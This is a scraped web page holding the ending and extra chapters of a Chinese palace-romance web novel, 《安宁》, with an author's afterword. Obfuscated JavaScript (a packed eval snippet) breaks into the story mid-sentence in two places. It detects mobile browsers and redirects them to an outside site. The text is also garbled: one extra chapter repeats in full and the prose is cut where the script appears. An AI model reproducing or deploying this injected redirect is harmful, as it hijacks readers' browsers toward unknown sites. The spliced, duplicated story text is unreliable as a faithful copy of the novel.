“说起来你还是想要儿子。”安宁眼里泛起了泪光,“若我真生不出儿子给你继承大统,你只怕迟早要嫌弃我……” 朱弘辉手忙脚乱地替安宁擦眼泪,全然没有看见不远处黄大伴、白薇白蔻一众人憋笑的神情。他忙不迭地保证:“你不想生就不生!左右王叔下面还有二哥三哥,他们妻妾子嗣众多,到时候咱们看哪个孩子好,抢了过来做太子就是!” 安宁破涕为笑,笑着捶了明帝一拳,却被他握在手中,顺势将她揽进怀里。他低头吻了吻她的额头:“你受委屈了。” 爱是常觉亏欠和心疼,哪怕给了你全世界,他也会觉得对你不起。 爱不是心动是心定。 安宁抬头看着朱弘辉,还好这些道理她都懂了,一切也都还来得及。 全文(终) 。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。 感谢大家这三个月来的陪伴和支持,《安宁》作为《锦绣》故事的后篇,正文部分就到此结束了。从下一章开始都是番外。 火焰休息了很长的一段时间,经历了很多的事情,这一点许多老粉都知道。也正是因为大家的喜爱和支持,我才会鼓足勇气回来继续码字,做自己喜欢的事情。 这一年写了两本偏平淡向的故事。我想尝试一下这种生活化的古风故事,也是让自己回回血,重新找一找码字的感觉。 这期间有很多不足,感谢大家的指正和包容。以后我会更加努力!希望能写出非常好看的故事来! 最后,祝大家生活幸福,看书开心!希望大家继续支持!(鞠躬!) 77. 番外一 摩诃一 阳光很烈,摩诃眯了眯眼睛,看着前方那个提着马鞭从酒楼里冲出来的少女。 她穿着宁人的服饰,却梳着外部人的发式,脖子上戴着一个赤金的项圈,手腕上有几串串着宝石的铃铛,随着她的动作叮叮当当响个不停。 她挥舞着马鞭,将前面的少布打得上蹿下跳,四周围少布的狗腿子们想上前阻止她,却又没人敢真的对她动手,投鼠忌器下少布被打得毫无还手之力,只能落荒而逃。 少布摸了摸自己的脸,疼得龇牙咧嘴。他指着追出来的少女气得浑身发抖:“你这个贱人!竟然敢对本王动手!本王绝不会放过你!” 少女捋着马鞭站在戏楼正门口,冷笑一声:“本县君就在这里等着!看看你能奈我何!有本事你出兵来打啊!我等着你!” 四周围里三层外三层围了无数人上来看热闹。少布眼见在少女这里讨不了好,恨恨地拂袖而去:“你给我等着!” 少女折了马鞭一挥手,甩出一个漂亮的鞭花:“等着就等着。” 见摩诃的视线落在那少女的身上,身旁的老臣扎力澈轻声在他耳边开口:“这就是罗刹的嫡长女,顾安宁。” 顾林书,凌云州统帅,踩着外部人的尸山血海得了“罗刹”这个名号,在外部,他的名字能止小儿夜啼。 少布央求他的母亲乌日更,乌日更便去求了丈夫,夫妇两一起向大宁朝廷上了折子,为少布求娶顾安宁为金帐王庭的王子大妃。 父王盘算的不错。整个凌云州都是顾林书的天下,他在此地堪称一言可断生死。他手中拥有几十万的中军,若是少布娶了他的嫡长女为妻,那些虎视眈眈盯着王位的部落大首领自然会安分守己,老老实实的继续追随。 可是除了少布,父王忘记了,还有他这个小儿子。 他想回王庭。 他从两岁出头就被作为质子拘在京城。大宁朝廷明面上给了他一个王庭世子的称号,也在京城里给了他一座世子府。但是所有人都知道,他是外部战败后押在这里的人质,他在京城的存在就是外部战败耻辱的标志。 别人落在他身上的目光,或轻视、或怜悯、或防备怀疑。在这偌大的京城里,除了母妃沙河台派遣来贴身照顾他的几个臣子,旁人面上不显,实际都将他视作异类。 扎力澈打听到少布求娶顾安宁为大妃的消息,他便向朝廷上了折子,借着秋狩为由回草原探望母妃。王太后准了他七日的时限回去探亲。 他只有七日的时间。他看着远处安宁的背影,他没有那么多的时间和耐性慢慢地接近她,他得想个法子,单刀直入切入她的世界。 好在顾安宁是个活泼的性子,在府里待不住,下晚时分又出现在了长门大街的市集。 他跟在她身后,尾随她逛了一路。她对路旁的绫罗绸缎胭脂水粉看都不看一眼,反而对山里猎来的毛皮、挖出来的野草根、奇形怪状的石头感兴趣。她最终停在了一处小贩摊前,挑拣着其上的兽牙,听她同身旁的侍女念叨,她要回去做一个狼牙手串。 他没忍住,在她要交钱时开口:“我要是你,就不买这些东西。” 她闻声向他抬起了头。夕阳斜长温暖的光照在她身上,给她整个人镀上了一层熔融的淡金色。 他此时才看清楚了她的五官。她生得极美,双眼如秋水,小巧挺翘的鼻子,薄而莹润的嘴唇,羊脂白玉般的皮肤。他心里嘁了一声,少布那个蠢货想要娶她为大妃,恐怕看重的不是她能带来的利益,单纯是被她的美貌所迷惑。难怪他会缠着母妃求了数日。这样的女子在他眼皮子底下能看不能碰,他那个狂悖好色的性子,如何忍得住? 她把玩着手里的几枚牙齿,神色间都是对他的防备:“为什么?” “这不是狼牙,是犬牙。”他指了指一旁的摊子,“这上面也有好东西,只是你选的不对。” 她往旁边让了让:“你替我选。” 他也不客气,弯腰挑挑拣拣选出了几枚牙齿,老板道:“要是这几颗,可就不是方才的价钱了,要加钱。” “加就是。”安宁大气的挥了挥手,吩咐一旁的沉香,“给钱。” 她上下打量着他,他从她的眼神里看见了探究:“你从京城来的?” “是。”他回答她的问题,“过来探亲。” 她点了点头:“你叫什么名字?” 他心头一转,说了他的大宁名:“伯言。” “顾安宁。”她指了指自己,“你今天帮了我一个小忙,我记住了。若是你需要帮助,尽管去城主府寻我,报上你的名字就是,我自然会相应的回报你。” 他一边同她说着话,一边继续随着她往前走。集市上人流密集,他不动声色地打量着周围的情形,寻找着安排好扮作刺客的暗卫。 开阳城顾林书管控极严,在这里假作刺杀安宁要冒很大的风险。但要接近她,英雄救美的法子虽然老套,却是最行之有效的一条路。 他微微偏头看向一旁的她,她正在同他一来一回地斗嘴,:“……可我爹说,这世间最不值钱的东西就是美貌。若是出身低微,貌美不是幸运反而是祸根。若侥幸出生在大富大贵的人家,美貌也不过就是锦上添花的添头而已,而且随着时间流逝,衰败最快的也是容貌。人若是以自己貌美而骄傲,后半生一定陷在苦痛的泥淖里无法摆脱。”她顿了顿,“毕竟江山不变红颜易老不是?” 他假作怔住,跟了上去顺着她的话道:“你说的有道理。”他补了一句,“我就是想认识你。” 她回头去挑选水粉,没有理他。 他站在她身旁,态度诚恳了许多:“我想认识你,言语间玩弄了点小手段,原是想让你觉得我有趣,没成想却弄巧成拙,是我的不是。” 她还是没有回答。 此时几个外部人挤过拥挤的人流,径直向他们所在之处走来。他抬头和对方领头的人视线相撞,瞬间明了对方眼神的示意,他一把抓住她的胳膊将她拉到自己身后,同时沉声提醒:“小心!” 安宁身后的护卫们反应极快,抽刀拦住了对方,双方胶着在一起,集市顿时大乱。 他拉着她往前跑了几步,她对他充满了警惕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13989144|139954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和戒备,用力挣脱他的手:“你要带我去哪里?” 他顾不上回答,抓着她往旁边猛力一拽,一柄寒刀贴着她的耳边划过,他伸脚用力踹在对方腹部,那人噔噔噔后退数步,一旁的同伙又杀了上来。 路旁便是酒肆,他用力推了她一把:“上楼!” 两人冲进酒肆上楼,后方的杀手举刀追来,他在楼梯上突然转身,敏捷地躲过对方的袭击,反手夺过当先一人手中的弯刀用力一推,暗卫们顺势滚葫芦一般向后摔落。 安宁在二楼撑着扶手往下看,眼看着下面的杀手一时上不来,她对着他笑言:“我欠了你一个大人情,我记住了!” 他成功的接近了她,她为了表达对他救命之恩的谢意,约了他第二天一起用午膳,又约了他参加最后一日的秋狩。 她胆大包天,和他一起乔装打扮没有带任何护卫摸进了王庭,竟然想摸到少布的帐篷里去给他的要进献给草原王的猎鹰下泻药。 只可惜计划没能成行,顾林书从王帐里出来,一眼就认出了乔装打扮后的安宁,将她叫去了他身边。 他冒着极大的风险,将自己隐藏在了人群中。若是被乌日更的人认出来是他,只怕会趁着这个机会悄无声息地将他杀死以绝后患。 毕竟只要他一死,少布就是王庭唯一的王位继承人。 围场上他看见她坐在看台上,抬头四处寻找着他。他又刻意往人群深处躲了躲,眼看着猎场里少布意气风发地在骑马围猎,父王和大妃乌日更都在现场。他悄悄转去了自己母妃沙河台的帐篷。 他的母妃曾经也是部落里名动一时的美人,也因此才会成为父王的侧妃还有了他。只可惜父王战败,在乌日更的怂恿下将他作为质子送去了京城。母亲与他生别,日日思念,如今看上去生生老了几十岁。 容颜不再,父王便也不再来她的帐篷,对他这个远在京城的小儿子越发不闻不问。眼看着少布同他渐大,乌日更害怕他回来争夺王位,越发怂恿父王上折子表衷心将他留在大宁京城。 他看着苍老的母妃,心头一痛,紧紧握住了她的手:“母亲!” 沙河台紧紧握着他的手,往外看了看:“你何苦这般冒险?” “母亲。”他一时万般愧疚。他今日来秋狩,并非为了见自己的母妃一面,而是为了配合安宁的小性子。他的心思都在如何拿下顾安宁身上,眼下见了母亲,眼见她这般,心里波涛汹涌,一时间说不出话来。 沙河台紧紧握着他的手,仔细地打量着他,似乎要抓紧时间把他的模样深深刻在自己心里:“已经忍了这么多年,不要功亏一篑。你如今行事要更加小心,千万不要给乌日更和少布可乘之机。” 他点了点头,用力抱了抱母亲。因为安宁他在这里多留了一日,如今不得不走。眼下需得一人双骑日夜兼程方才能在时限内赶回京城。 “等着我。”他向母妃保证,“我一定会回来。” 他一定会回来,依靠牺牲他踩着他的尊严换来和平的外部,所有人都亏欠他。他一定会回来,夺回本该属于他的一切。 79. 番外三 又是一年中秋夜。 宫里张灯结彩,却不似往年大开宫宴,只在坤宁宫摆了几桌家宴。 顾仲堂、袁氏、顾林颜与妻儿、顾林书与妻儿、保国公夫妇等人均在座。时间流逝如水,如今的顾仲堂与袁氏、保国公夫妇已经是满头银发。他们满脸笑容地看着眼前正在追逐玩闹的一群孩子,满眼慈爱。 明帝携安宁一起出了正殿大门,在座诸人纷纷起身行礼:“参见圣上、皇后娘娘!” 明帝抬手:“诸位不必多礼。”他温声道,“今日既然是家宴,便不论君臣、只谈长幼。”他说着先行下了几步台阶,这才转身将手伸给后面的安宁,安宁看着他一笑,将手给了他牵着小心走下。 她比往日圆润了许多,肚子凸出,约莫有七、八个月的身孕。明帝话虽如此,大家仍是把主位留给了他和安宁。他小心地扶着安宁落座,待他坐下时,众人才又纷纷坐回自己的位置。 李月桦坐在安宁身侧,轻轻握住了她的手。安宁看着母亲一笑,她气色极好,眼波流转灵动,皮肤晶润,虽然已经生育了三个儿女,却仍未脱少女的天真,一看便是被明帝时时刻刻捧在手心。 李月桦心疼地看着女儿:“这一胎怀得可辛苦?” 安宁点点头:“这一胎较往常辛苦了不少。这才五个月,肚子已经有七八个月大了,腰时常觉着酸的不行。” 李月桦面露担忧:“太医怎么说?胎儿太大,生产时对母体不利啊!” 安宁眼里都是笑意:“太医说,这一胎是双生胎,也因为如此,所以胎象较寻常大些,也难免怀得辛苦些。” “好好!”李月桦放下心来,“这是大喜事!” 安宁点了点头。 五岁的大皇子朱骁过来抱住安宁的胳膊:“娘娘抱!” 安宁腾出手,摸了摸朱骁的头顶:“娘娘如今怀着弟弟妹妹,不方便抱你。” 朱骁指了指身后的二弟朱枳:“就像弟弟一样吗?” 安宁柔声回答:“对,就像弟弟一样,再过几个月,骁儿就能见到他们了。” 朱骁高兴地拿着手里的玩具跑向弟弟:“好噢好噢!” 明帝同样满眼笑容地看着朱骁,见他跑到朱枳身旁牵起弟弟的手,他虽然才五岁,俨然已经有大哥哥的模样。朱枳原本还在哭闹,被哥哥一牵手立刻止住了哭声,破涕为笑。 明帝突然道:“等宁儿诞下这一胎,朕便拟旨封骁儿为太子。” 桌上一静,随即又恢复了热闹。如今明帝亲政已经小十年,这些年来他后宫只得安宁一人,早些年前朝很多世家大族还蠢蠢欲动,想让明帝开后宫选秀。这些年看下来已经歇了这个心思。宫里如今一共四个孩子,除了长公主瑾怡是已逝去的淑妃所出,嫡公主瑾瑜和大皇子朱骁二皇子朱枳都是安宁所出。 立嫡立长,无论如何封朱骁为太子都是顺理成章的事。早些定下太子,也安了所有人的心。 瑾怡和瑾瑜两个小姑娘如今大的一个九岁,小的一个快八岁,都有了些少女的模样。两人穿着打扮一模一样,连身上的首饰头面都一般无二。有模有样端庄地一左一右坐在曹婉身旁,陪她说着话,哄得曹婉满脸都是笑容。 “你虽然生产了几次,却也不可掉以轻心。”李月桦轻声嘱咐女儿,“妇人每次生产都是要在鬼门关上过一遭。凡事儿早些预备着,才能临危不乱。” “娘,您放心。”安宁安慰母亲,“一切都妥当着。” 李月桦点了点头,看着安宁的肚子:“若是这一胎能再有一个男孩,那便好了。” 明帝听见了李月桦的话,接道:“便是这一胎都是女孩,朕也不打算让她再生了。” 此话一出,四周围的人都抬头看向明帝,桌面上骤然比先前说立朱骁为太子还要安静。 明帝握着安宁的手:“如今有了骁儿和枳儿便已足够。母亲说的是,妇人每次生产都是在鬼门关上过一遭,朕也不愿她总是冒这样的风险。此后就让她用着避子汤吧。” “你愿,我可不愿。”安宁眉头紧锁,“只得骁儿和枳儿如何能够?”她压住了话头,不想说什么不吉利的东西,刻意顿了顿略了过去,“怎的还是要再生一两个儿子才行。” 明帝道:“王叔那里,三哥四哥嫡子不少。朱家有后,不必如此。” 安宁没有再说什么,神色间却有些不虞。 等到散了宫宴,安宁梳洗完毕侧躺下眯着眼睛假寐,白薇正给她捏着腿放松,明帝悄无声息地进了内殿。白薇赶紧起身行礼,明帝挥了挥手,她便退了下去。 明帝坐到床侧,接手白薇方才做的事,安宁轻叹一声:“你来了?” 明帝失笑:“我也没出声,你怎么知道是我?” “白薇姑姑哪儿有你的手劲大?”安宁睁开眼嗔了他一眼,她如今腹中沉重,转身也极其不易。他上前扶着她坐起身,给她背后垫了好几个舒服的软枕方才问她:“先前在家宴上,你不高兴了?” “两个皇儿,到底还是单薄了些。”安宁目露忧虑,“我自然是想再多生几个男孩子。” 朱弘辉伸手轻轻理过安宁颊边的碎发:“宁儿,我可是贪恋权势之人?” 安宁微微一怔,摇了摇头。 朱弘辉又问:“王叔和三哥、四哥可是贪恋权势之人?” 安宁又摇了摇头。 “那便是了。”朱弘辉握住安宁的手,“若王叔有心王位,我小时候他就可以问鼎宝座,再者前些年母后那时,他也有机会,是王叔志不在此。” “这皇位,如今有骁儿继承,自然很好。便是没有骁儿,还有枳儿。”他柔声道,“若我的血脉担不起这个责任和福分,那么三哥四哥家的孩子能挑起这个担子,也是极好的一件事情。” 安宁看着他没有说话。 “以史为鉴。”他道,“父皇那时邓贵妃的事情、母后的事情,历朝历代皇室争权夺位自相残杀的事情还不够多么?我不想做那样的人,我也不是那样的人。何况为了子嗣让你冒这般大的风险,若真有万一,这以后几十年的岁月,你让我独自一人如何熬过去?” 安宁轻叹一声,轻轻偎进他怀里,低头看着他紧握她的手:“我觉着对不起你。天家本该开枝散叶,是我……” “是我的选择。”他打断了她的话,“人活一世,万事都是自己做的选择和决定。” 他摩挲着她的手指,突然道:“王庭上了折子,要替他们的大王子格木尔泰求娶嫡公主瑾瑜为王子大妃。” 安宁一震抬头:“瑾瑜才七岁!”接着她柳眉一竖,脸上露出几分凶气来,“他想得美!” 朱弘辉见她就像要护崽的母狼,不由得失笑,柔声劝慰:“不嫁不嫁,我们的瑾瑜自然要留在京城,如何能让她远嫁到王庭去?咱们这般锦衣玉食地娇养着,难不成就是为了养大她去和亲?” 安宁放下心,软软地又依偎回他的怀抱:“不过我倒是听说了那个格木尔泰的名头,小小的孩子颇有几分我父亲当年的风范,他的名声在草原上传播可广,听说是个神童,长得也好看。” 朱弘辉低头打量她:“他比瑾瑜小三岁。” 安宁眼里露出几分促狭之意:“你不如给摩诃 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格木尔泰已经被立为继承王位的大王子,王庭如何舍得将他送到大宁?何况他如今才四岁出头,等到十六岁成婚,要在大宁度过接下来的十几年。这岂不是再重演摩诃当年?安宁这是在往他心口扎刀子。 偏生他就顺着她的意回了这样一封信。信的末尾刻意强调,这是安宁的意思。 他对摩诃,敌意始终未曾消退。 原想着这件事就这么过去了。朱弘辉也好安宁也罢都未曾将它放在心上。时间到了来年三月底,寒冬已过,春意初显,安宁也到了生产的日子。 虽然怀的是双生胎,但胎儿个头都不大。安宁此前已经生产过几次,这次格外顺利。从发作到生产只经过了一个时辰,就诞下了两个皇子。 消息一出,顾家人悬着的心落了地。有四个皇子傍身,且都是嫡出,国本稳固,前朝的大臣们不再担心明帝后继无人。 那些原本还揣着些其它心思的世家大族见此也终于打消了最后那点小算盘。只要明帝在位一日,安宁的地位就稳若磐石,没有其他人插脚的余地。 小皇子满月的时候,一队人马风尘仆仆进了京。 礼官接到消息,赶紧去城门处接应,然后上报朝廷,领着刚五岁的格木尔泰进了宫。 安宁抱着怀中的稚子,惊讶地看着那个幼儿版的摩诃进了房间,说着一口流利的大宁官话,上前规规矩矩地行礼:“儿臣格木尔泰,参见皇后娘娘!” 安宁惊讶:“你怎么进京了?可有人陪同你来?” 格木尔泰摇了摇头:“儿臣无人陪同,是独自进京。父皇告诉儿臣,若想要迎娶瑾瑜公主殿下为大妃,就需孤身前往大宁京城,在此间居住到十六岁,方才能成婚。” 安宁哭笑不得:“那你就来了?” 格木尔泰点头:“儿臣想要迎娶瑾瑜公主,儿臣愿意留在大宁。” 接到消息赶过来的朱弘辉站在大殿门口,一张脸的神情精彩纷呈。天子一诺,如今倒好,要日日看着这个幼儿版的摩诃在自己眼皮底下长大,日后还要娶走自己的宝贝女儿。 即使隔着庞大的赤刹海和高高的北蒙山脉,他也能想象到摩诃接到他回信后,脸上露出的轻蔑笑意。 失算了。 这一次,是摩诃赢了一筹。 他身边的瑾瑜放开了他的手进了房间。八岁的她已经长得明目善睐,有了少女的模样。五岁的他却胖胖软软矮矮小小像个肉包子。 瑾瑜看着这个比自己矮了好多好多的肉包子:“你是格木尔泰?” 格木尔泰站起身点点头。 瑾瑜骄傲地抬起头:“我是嫡公主,朱瑾瑜。” 番外终 79. 番外三 又是一年中秋夜。 宫里张灯结彩,却不似往年大开宫宴,只在坤宁宫摆了几桌家宴。 顾仲堂、袁氏、顾林颜与妻儿、顾林书与妻儿、保国公夫妇等人均在座。时间流逝如水,如今的顾仲堂与袁氏、保国公夫妇已经是满头银发。他们满脸笑容地看着眼前正在追逐玩闹的一群孩子,满眼慈爱。 明帝携安宁一起出了正殿大门,在座诸人纷纷起身行礼:“参见圣上、皇后娘娘!” 明帝抬手:“诸位不必多礼。”他温声道,“今日既然是家宴,便不论君臣、只谈长幼。”他说着先行下了几步台阶,这才转身将手伸给后面的安宁,安宁看着他一笑,将手给了他牵着小心走下。 她比往日圆润了许多,肚子凸出,约莫有七、八个月的身孕。明帝话虽如此,大家仍是把主位留给了他和安宁。他小心地扶着安宁落座,待他坐下时,众人才又纷纷坐回自己的位置。 李月桦坐在安宁身侧,轻轻握住了她的手。安宁看着母亲一笑,她气色极好,眼波流转灵动,皮肤晶润,虽然已经生育了三个儿女,却仍未脱少女的天真,一看便是被明帝时时刻刻捧在手心。 李月桦心疼地看着女儿:“这一胎怀得可辛苦?” 安宁点点头:“这一胎较往常辛苦了不少。这才五个月,肚子已经有七八个月大了,腰时常觉着酸的不行。” 李月桦面露担忧:“太医怎么说?胎儿太大,生产时对母体不利啊!” 安宁眼里都是笑意:“太医说,这一胎是双生胎,也因为如此,所以胎象较寻常大些,也难免怀得辛苦些。” “好好!”李月桦放下心来,“这是大喜事!” 安宁点了点头。 五岁的大皇子朱骁过来抱住安宁的胳膊:“娘娘抱!” 安宁腾出手,摸了摸朱骁的头顶:“娘娘如今怀着弟弟妹妹,不方便抱你。” 朱骁指了指身后的二弟朱枳:“就像弟弟一样吗?” 安宁柔声回答:“对,就像弟弟一样,再过几个月,骁儿就能见到他们了。” 朱骁高兴地拿着手里的玩具跑向弟弟:“好噢好噢!” 明帝同样满眼笑容地看着朱骁,见他跑到朱枳身旁牵起弟弟的手,他虽然才五岁,俨然已经有大哥哥的模样。朱枳原本还在哭闹,被哥哥一牵手立刻止住了哭声,破涕为笑。 明帝突然道:“等宁儿诞下这一胎,朕便拟旨封骁儿为太子。” 桌上一静,随即又恢复了热闹。如今明帝亲政已经小十年,这些年来他后宫只得安宁一人,早些年前朝很多世家大族还蠢蠢欲动,想让明帝开后宫选秀。这些年看下来已经歇了这个心思。宫里如今一共四个孩子,除了长公主瑾怡是已逝去的淑妃所出,嫡公主瑾瑜和大皇子朱骁二皇子朱枳都是安宁所出。 立嫡立长,无论如何封朱骁为太子都是顺理成章的事。早些定下太子,也安了所有人的心。 瑾怡和瑾瑜两个小姑娘如今大的一个九岁,小的一个快八岁,都有了些少女的模样。两人穿着打扮一模一样,连身上的首饰头面都一般无二。有模有样端庄地一左一右坐在曹婉身旁,陪她说着话,哄得曹婉满脸都是笑容。 “你虽然生产了几次,却也不可掉以轻心。”李月桦轻声嘱咐女儿,“妇人每次生产都是要在鬼门关上过一遭。凡事儿早些预备着,才能临危不乱。” “娘,您放心。”安宁安慰母亲,“一切都妥当着。” 李月桦点了点头,看着安宁的肚子:“若是这一胎能再有一个男孩,那便好了。” 明帝听见了李月桦的话,接道:“便是这一胎都是女孩,朕也不打算让她再生了。” 此话一出,四周围的人都抬头看向明帝,桌面上骤然比先前说立朱骁为太子还要安静。 明帝握着安宁的手:“如今有了骁儿和枳儿便已足够。母亲说的是,妇人每次生产都是在鬼门关上过一遭,朕也不愿她总是冒这样的风险。此后就让她用着避子汤吧。” “你愿,我可不愿。”安宁眉头紧锁,“只得骁儿和枳儿如何能够?”她压住了话头,不想说什么不吉利的东西,刻意顿了顿略了过去,“怎的还是要再生一两个儿子才行。” 明帝道:“王叔那里,三哥四哥嫡子不少。朱家有后,不必如此。” 安宁没有再说什么,神色间却有些不虞。 等到散了宫宴,安宁梳洗完毕侧躺下眯着眼睛假寐,白薇正给她捏着腿放松,明帝悄无声息地进了内殿。白薇赶紧起身行礼,明帝挥了挥手,她便退了下去。 明帝坐到床侧,接手白薇方才做的事,安宁轻叹一声:“你来了?” 明帝失笑:“我也没出声,你怎么知道是我?” “白薇姑姑哪儿有你的手劲大?”安宁睁开眼嗔了他一眼,她如今腹中沉重,转身也极其不易。他上前扶着她坐起身,给她背后垫了好几个舒服的软枕方才问她:“先前在家宴上,你不高兴了?” “两个皇儿,到底还是单薄了些。”安宁目露忧虑,“我自然是想再多生几个男孩子。” 朱弘辉伸手轻轻理过安宁颊边的碎发:“宁儿,我可是贪恋权势之人?” 安宁微微一怔,摇了摇头。 朱弘辉又问:“王叔和三哥、四哥可是贪恋权势之人?” 安宁又摇了摇头。 “那便是了。”朱弘辉握住安宁的手,“若王叔有心王位,我小时候他就可以问鼎宝座,再者前些年母后那时,他也有机会,是王叔志不在此。” “这皇位,如今有骁儿继承,自然很好。便是没有骁儿,还有枳儿。”他柔声道,“若我的血脉担不起这个责任和福分,那么三哥四哥家的孩子能挑起这个担子,也是极好的一件事情。” 安宁看着他没有说话。 “以史为鉴。”他道,“父皇那时邓贵妃的事情、母后的事情,历朝历代皇室争权夺位自相残杀的事情还不够多么?我不想做那样的人,我也不是那样的人。何况为了子嗣让你冒这般大的风险,若真有万一,这以后几十年的岁月,你让我独自一人如何熬过去?” 安宁轻叹一声,轻轻偎进他怀里,低头看着他紧握她的手:“我觉着对不起你。天家本该开枝散叶,是我……” “是我的选择。”他打断了她的话,“人活一世,万事都是自己做的选择和决定。” 他摩挲着她的手指,突然道:“王庭上了折子,要替他们的大王子格木尔泰求娶嫡公主瑾瑜为王子大妃。” 安宁一震抬头:“瑾瑜才七岁!”接着她柳眉一竖,脸上露出几分凶气来,“他想得美!” 朱弘辉见她就像要护崽的母狼,不由得失笑,柔声劝慰:“不嫁不嫁,我们的瑾瑜自然要留在京城,如何能让她远嫁到王庭去?咱们这般锦衣玉食地娇养着,难不成就是为了养大她去和亲?” 安宁放下心,软软地又依偎回他的怀抱:“不过我倒是听说了那个格木尔泰的名头,小小的孩子颇有几分我父亲当年的风范,他的名声在草原上传播可广,听说是个神童,长得也好看。” 朱弘辉低头打量她:“他比瑾瑜小三岁。” 安宁眼里露出几分促狭之意:“你不如给摩诃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小皇子满月的时候,一队人马风尘仆仆进了京。 礼官接到消息,赶紧去城门处接应,然后上报朝廷,领着刚五岁的格木尔泰进了宫。 安宁抱着怀中的稚子,惊讶地看着那个幼儿版的摩诃进了房间,说着一口流利的大宁官话,上前规规矩矩地行礼:“儿臣格木尔泰,参见皇后娘娘!” 安宁惊讶:“你怎么进京了?可有人陪同你来?” 格木尔泰摇了摇头:“儿臣无人陪同,是独自进京。父皇告诉儿臣,若想要迎娶瑾瑜公主殿下为大妃,就需孤身前往大宁京城,在此间居住到十六岁,方才能成婚。” 安宁哭笑不得:“那你就来了?” 格木尔泰点头:“儿臣想要迎娶瑾瑜公主,儿臣愿意留在大宁。” 接到消息赶过来的朱弘辉站在大殿门口,一张脸的神情精彩纷呈。天子一诺,如今倒好,要日日看着这个幼儿版的摩诃在自己眼皮底下长大,日后还要娶走自己的宝贝女儿。 即使隔着庞大的赤刹海和高高的北蒙山脉,他也能想象到摩诃接到他回信后,脸上露出的轻蔑笑意。 失算了。 这一次,是摩诃赢了一筹。 他身边的瑾瑜放开了他的手进了房间。八岁的她已经长得明目善睐,有了少女的模样。五岁的他却胖胖软软矮矮小小像个肉包子。 瑾瑜看着这个比自己矮了好多好多的肉包子:“你是格木尔泰?” 格木尔泰站起身点点头。 瑾瑜骄傲地抬起头:“我是嫡公主,朱瑾瑜。” 番外终